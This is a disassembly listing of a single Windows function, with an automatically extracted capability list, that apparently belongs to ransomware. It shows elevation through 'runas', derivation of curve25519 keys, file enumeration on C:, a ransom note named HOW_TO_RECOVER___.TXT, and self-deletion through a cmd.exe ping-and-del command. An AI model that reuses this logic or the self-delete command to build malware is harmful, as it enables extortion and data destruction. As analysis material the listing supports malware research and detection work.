Function at 0x14000a290
Capabilities:
Accept command line arguments
Check if file exists
Create new key via cryptacquirecontext
Create process on windows
Create thread
Encode data using xor
Encrypt data using curve25519
Generate random numbers using a mersenne twister
Generate random numbers via winapi
Hash data using sha256
Self delete
Terminate process
Terminate thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xbb0]
sub rsp, 0xcb0
mov rax, qword [0x140074040]
xor rax, rsp
mov qword [rbp + 0xba0], rax
xor esi, esi
xor dil, dil
mov qword [rsp + 0x60], rsi
mov r14, rcx
mov qword [rsp + 0x58], rsi
mov byte [rsp + 0x30], dil
mov dword [rsp + 0x68], esi
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x68]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov r13, rax
test rax, rax
je 0x14000a6a5
mov r12d, 1
cmp dword [rsp + 0x68], r12d
jle 0x14000a69c
lea r15d, [rsi + 2]
lea rbx, [rax + 8]
nop dword [rax]
mov rcx, qword [rbx]
lea rdx, [0x1400694bc]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x14000a355
cmp dword [rsp + 0x68], r15d
jl 0x14000a355
mov rdx, qword [rbx + 8]
lea r8, [0x1400694c4]
lea rcx, [rsp + 0x60]
call fcn.14003aab8
jmp 0x14000a42d
mov rcx, qword [rbx]
lea rdx, [0x1400694c8]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x14000a38f
cmp dword [rsp + 0x68], r15d
jl 0x14000a38f
mov rdx, qword [rbx + 8]
lea r8, [0x1400694c4]
lea rcx, [rsp + 0x58]
call fcn.14003aab8
mov byte [rsp + 0x30], 1
jmp 0x14000a42d
mov rcx, qword [rbx]
lea rdx, [0x1400694d0]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x14000a3c1
cmp dword [rsp + 0x68], r15d
jl 0x14000a3c1
mov rdx, qword [rbx + 8]
lea r8, [0x1400694c4]
lea rcx, [rsp + 0x58]
call fcn.14003aab8
jmp 0x14000a42d
mov rcx, qword [rbx]
lea rdx, str._path
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x14000a409
cmp dword [rsp + 0x68], r15d
jl 0x14000a409
mov rax, qword [r14 + 8]
lea r8, [rbx + 8]
cmp rax, qword [r14 + 0x10]
je 0x14000a3fc
mov rdx, qword [r8]
mov rcx, rax
call fcn.140005c40
add qword [r14 + 8], 0x20
jmp 0x14000a42d
mov rdx, rax
mov rcx, r14
call fcn.140012330
jmp 0x14000a42d
mov rcx, qword [rbx]
lea rdx, str._queue
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x14000a42d
cmp dword [rsp + 0x68], r15d
jl 0x14000a42d
mov rcx, qword [rbx + 8]
call fcn.14003b468
mov rcx, qword [rbx]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x14000ab85
mov edi, esi
mov qword [rsp + 0x50], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x50]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000a491
mov rcx, qword [rsp + 0x50]
lea rax, [rbp - 0x6c]
mov r9d, 4
mov dword [rbp - 0x6c], 4
lea r8, [rbp - 0x68]
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne edi, dword [rbp - 0x68]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x14000a4a1
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x14000a658
xor edx, edx
lea rcx, [rbp + 0x90]
mov r8d, 0xf8
call fcn.140051d20
lea rcx, [rbp + 0x90]
call fcn.14000d050
mov esi, 1
cmp dword [rsp + 0x68], esi
jle 0x14000a512
lea rdi, [r13 + 8]
nop dword [rax + rax]
lea rcx, [rbp + 0xa0]
call fcn.140010420
mov rdx, qword [rdi]
mov rcx, rax
call fcn.14000faf0
mov rcx, rax
lea rdx, [0x140069554]
call fcn.14000faf0
inc esi
lea rdi, [rdi + 8]
cmp esi, dword [rsp + 0x68]
jl 0x14000a4e0
mov edx, dword [rbp + 0x118]
xor esi, esi
xorps xmm0, xmm0
mov qword [rbp + 0x880], rsi
mov eax, edx
mov ecx, 7
and al, 0x22
mov qword [rbp + 0x888], rcx
movups xmmword [rbp + 0x870], xmm0
mov word [rbp + 0x870], si
movups xmmword [rsp + 0x38], xmm0
cmp al, 2
je 0x14000a57b
mov rax, qword [rbp + 0xe8]
mov r8, qword [rax]
test r8, r8
je 0x14000a57b
cmp r8, qword [rbp + 0x110]
mov rax, qword [rbp + 0xc8]
cmovb r8, qword [rbp + 0x110]
mov rdx, qword [rax]
sub r8, rdx
sar r8, 1
jmp 0x14000a5bb
test dl, 4
jne 0x14000a5b1
mov rax, qword [rbp + 0xe0]
mov r9, qword [rax]
test r9, r9
je 0x14000a5b1
mov rax, qword [rbp + 0xc0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xf8]
movsxd r8, dword [rax]
add r8, r8
sub r8, rdx
add r8, r9
sar r8, 1
jmp 0x14000a5bb
mov r8, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
test rdx, rdx
je 0x14000a5d3
lea rcx, [rbp + 0x870]
call fcn.14000f6f0
mov rcx, qword [rbp + 0x888]
mov r8, qword [r13]
lea r9, [rbp + 0x870]
cmp rcx, 7
mov dword [rsp + 0x28], 5
lea rdx, str.runas
mov qword [rsp + 0x20], rsi
cmova r9, qword [rbp + 0x870]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbp + 0x888]
cmp rdx, 7
jbe 0x14000a64c
mov rcx, qword [rbp + 0x870]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a647
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000adc2
call fcn.14002d030
lea rcx, [rbp + 0x90]
call fcn.14000a010
mov rax, qword [r14 + 8]
cmp rax, qword [r14 + 0x10]
je 0x14000a674
mov rdx, qword [rbx]
mov rcx, rax
call fcn.140005c40
add qword [r14 + 8], 0x20
jmp 0x14000a682
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.140012330
inc r12d
inc r15d
add rbx, 8
cmp r12d, dword [rsp + 0x68]
jl 0x14000a320
movzx edi, byte [rsp + 0x30]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rcx, [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
imul ecx, ebx
rdtsc
shl rdx, 0x20
mov r9d, 1
or rax, rdx
mov dword [rsp + 0x20], esi
imul eax, dword [rbp - 0x58]
xor r8d, r8d
xor edx, edx
imul eax, ecx
lea rcx, [rbp - 0x60]
mov dword [rbp - 0x70], eax
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x14000a729
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x14000a748
mov r9d, 1
mov dword [rsp + 0x20], 8
xor r8d, r8d
lea rcx, [rbp - 0x60]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x14000a748
mov rcx, qword [rbp - 0x60]
lea r8, [rbp - 0x70]
mov edx, 4
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rbp - 0x60]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [rbp - 0x70]
lea r11, [0x140077a90]
mov edx, 1
mov dword [0x140077a90], eax
mov eax, edx
mov r8d, edx
mov r9d, edx
mov r10d, edx
nop dword [rax + rax]
cdqe
mov ecx, dword [r11 + rax*4 - 4]
mov eax, ecx
shr eax, 0x1e
xor eax, ecx
imul eax, eax, 0x6c078965
add edx, eax
movsxd rax, r8d
mov dword [r11 + rax*4], edx
movsxd rax, r10d
mov dword [r11 + rax*4], edx
lea edx, [r9 + 1]
mov dword [0x140078450], edx
mov eax, edx
mov r8d, edx
mov r9d, edx
mov r10d, edx
cmp edx, 0x270
jl 0x14000a770
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
xor eax, eax
mov byte [rbp + 0x898], 9
xorps xmm0, xmm0
mov qword [rbp + 0x8a9], rax
lea rcx, [rbp + 0x2e0]
mov dword [rbp + 0x8b1], eax
movups xmmword [rbp + 0x899], xmm0
mov word [rbp + 0x8b5], ax
mov byte [rbp + 0x8b7], al
mov dword [rsp + 0x70], 0x7afa20cd
mov dword [rsp + 0x74], 0xaa84f355
mov dword [rsp + 0x78], 0x45c127ff
mov dword [rsp + 0x7c], 0x63bd3666
mov dword [rbp - 0x80], 0x219e3274
mov dword [rbp - 0x7c], 0x8166807b
mov dword [rbp - 0x78], 0x45204f1a
mov dword [rbp - 0x74], 0xffc1b891
call fcn.1400239f0
cmp dword [rbp + 0x778], 0
jne 0x14000ad6c
mov r8d, 0x38
lea rdx, [rbp + 0x780]
lea rcx, [rbp + 0x620]
call fcn.1400254a0
test eax, eax
jne 0x14000ad6c
movsd xmm0, qword [0x140074ca0]
lea rdx, [rbp + 0x780]
mov eax, dword [0x140074ca8]
lea rcx, [rbp - 0x50]
mov r8d, 0x38
movsd qword [rbp + 0x794], xmm0
mov dword [rbp + 0x79c], eax
mov qword [rbp + 0x10], 0
mov dword [rbp - 0x10], 0x6a09e667
mov dword [rbp - 0xc], 0xbb67ae85
mov dword [rbp - 8], 0x3c6ef372
mov dword [rbp - 4], 0xa54ff53a
mov dword [rbp], 0x510e527f
mov dword [rbp + 4], 0x9b05688c
mov dword [rbp + 8], 0x1f83d9ab
mov dword [rbp + 0xc], 0x5be0cd19
call fcn.1400050c0
lea rdx, [rbp + 0x8e8]
lea rcx, [rbp - 0x50]
call fcn.140005220
movups xmm0, xmmword [rbp + 0x8e8]
lea rdx, [rsp + 0x70]
movups xmm1, xmmword [rbp + 0x8f8]
lea rcx, [rbp + 0x780]
movd eax, xmm0
movups xmmword [rbp + 0x880], xmm1
and al, 0xf8
psrldq xmm1, 0xf
movups xmmword [rbp + 0x870], xmm0
mov byte [rbp + 0x870], al
movd eax, xmm1
and al, 0x3f
or al, 0x40
mov byte [rbp + 0x88f], al
call fcn.1400026c0
lea r9, [rbp + 0x780]
lea r8, [rbp + 0x870]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x820]
call fcn.1400039c0
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x7d0]
call fcn.140003e20
lea r8, [rbp + 0x7d0]
lea rdx, [rbp + 0x820]
lea rcx, [rbp - 0x50]
call fcn.1400020f0
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x8c0]
call fcn.1400028c0
movups xmm0, xmmword [rbp + 0x8c0]
lea rdx, [rbp + 0x898]
movups xmm1, xmmword [rbp + 0x8d0]
lea rcx, [rbp + 0x820]
movd eax, xmm0
movups xmmword [rbp + 0x880], xmm1
and al, 0xf8
psrldq xmm1, 0xf
movups xmmword [rbp + 0x870], xmm0
mov byte [rbp + 0x870], al
movd eax, xmm1
and al, 0x3f
or al, 0x40
mov byte [rbp + 0x88f], al
call fcn.1400026c0
lea r9, [rbp + 0x820]
lea r8, [rbp + 0x870]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x780]
call fcn.1400039c0
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x7d0]
call fcn.140003e20
lea r8, [rbp + 0x7d0]
lea rdx, [rbp + 0x780]
lea rcx, [rbp - 0x50]
call fcn.1400020f0
lea rdx, [rbp - 0x50]
lea rcx, [0x140077440]
call fcn.1400028c0
movups xmm0, xmmword [rbp + 0x8c0]
movups xmm1, xmmword [rbp + 0x8d0]
lea rdx, [0x140074cb8]
movd eax, xmm0
lea rcx, [rbp + 0x820]
movups xmmword [rbp + 0x8a8], xmm1
and al, 0xf8
psrldq xmm1, 0xf
movups xmmword [rbp + 0x898], xmm0
mov byte [rbp + 0x898], al
movd eax, xmm1
and al, 0x3f
or al, 0x40
mov byte [rbp + 0x8b7], al
call fcn.1400026c0
lea r9, [rbp + 0x820]
lea r8, [rbp + 0x898]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x780]
call fcn.1400039c0
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x7d0]
call fcn.140003e20
lea r8, [rbp + 0x7d0]
lea rdx, [rbp + 0x780]
lea rcx, [rbp - 0x50]
call fcn.1400020f0
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x910]
call fcn.1400028c0
mov r8d, 0x20
mov qword [rbp + 0x80], 0
lea rdx, [rbp + 0x910]
mov dword [rbp + 0x60], 0x6a09e667
lea rcx, [rbp + 0x20]
mov dword [rbp + 0x64], 0xbb67ae85
mov dword [rbp + 0x68], 0x3c6ef372
mov dword [rbp + 0x6c], 0xa54ff53a
mov dword [rbp + 0x70], 0x510e527f
mov dword [rbp + 0x74], 0x9b05688c
mov dword [rbp + 0x78], 0x1f83d9ab
mov dword [rbp + 0x7c], 0x5be0cd19
call fcn.1400050c0
lea rdx, [0x140077418]
lea rcx, [rbp + 0x20]
call fcn.140005220
call fcn.140013020
mov eax, dword [0x140074cb4]
lea r8, [rbp + 0x90]
mov dword [rsp + 0x28], eax
lea rcx, str.C:
xor r9d, r9d
mov qword [rsp + 0x20], rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14000ac8c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x14000ac8c
mov dword [0x140074cb4], esi
jmp 0x14000ac95
lea rdx, str.File_not_found_OR_Invalid_argument
lea rcx, [rsp + 0x70]
call fcn.140005c40
movsxd rax, r12d
mov rdi, 0xffffffffffffffff
mov r9, qword [r13 + rax*8]
inc rdi
cmp word [r9 + rdi*2], 0
jne 0x14000aba5
mov rcx, qword [rbp - 0x78]
mov rsi, qword [rbp - 0x80]
mov rax, rcx
sub rax, rsi
cmp rdi, rax
ja 0x14000abf6
cmp rcx, 7
lea rax, [rsi + rdi]
lea rbx, [rsp + 0x70]
mov qword [rbp - 0x80], rax
cmova rbx, qword [rsp + 0x70]
lea r8, [rdi + rdi]
mov rdx, r9
lea rcx, [rbx + rsi*2]
call fcn.1400520e0
lea rax, [rsi + rdi]
xor edi, edi
mov word [rbx + rax*2], di
jmp 0x14000ac10
movzx r8d, byte [rsp + 0x30]
lea rcx, [rsp + 0x70]
mov rdx, rdi
mov qword [rsp + 0x20], rdi
call fcn.140006720
xor edi, edi
cmp qword [rbp - 0x78], 7
lea rdx, [rsp + 0x70]
mov r9d, 0x10
lea r8, str.Error
cmova rdx, qword [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x14000ac76
mov rcx, qword [rsp + 0x70]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ac71
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000adbc
call fcn.14002d030
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], 7
mov word [rsp + 0x70], di
jmp 0x14000ad84
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea r8, [0x1400775c0]
call fcn.140007670
xor r9d, r9d
mov qword [rsp + 0x28], rsi
xor edx, edx
mov dword [rsp + 0x20], esi
xor ecx, ecx
lea r8, [0x14000a1f0]
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, qword [rsp + 0x58]
mov r9, r14
mov rcx, qword [rsp + 0x60]
movzx r8d, dil
mov rbx, rax
call fcn.1400088b0
lea rcx, str.C:HOW_TO_RECOVER___.TXT
call fcn.140007bb0
xorps xmm0, xmm0
xor edx, edx
mov rcx, rbx
movups xmmword [0x140077418], xmm0
movups xmmword [0x140077428], xmm0
call qword [sym.imp.KERNEL32.dll_TerminateThread]
call fcn.140009740
mov r8d, 0x104
lea rdx, [rbp + 0x90]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000ad78
lea r9, [rbp + 0x90]
mov edx, 0x136
lea r8, str._c_ping_127.0.0.1__del___s_____NUL
lea rcx, [rbp + 0x930]
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
lea r9, [rbp + 0x930]
mov dword [rsp + 0x28], esi
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rsi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x14000ad78
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, str.Cant_create_unique_data..._n
call fcn.1400055f0
lea rcx, [rbp + 0x2e0]
call fcn.140023bb0
mov rcx, r14
call fcn.14000e850
mov rcx, qword [rbp + 0xba0]
xor rcx, rsp
call fcn.14002cd30
lea r11, [rsp + 0xcb0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14003a96c
int3
call fcn.14003a96c
int3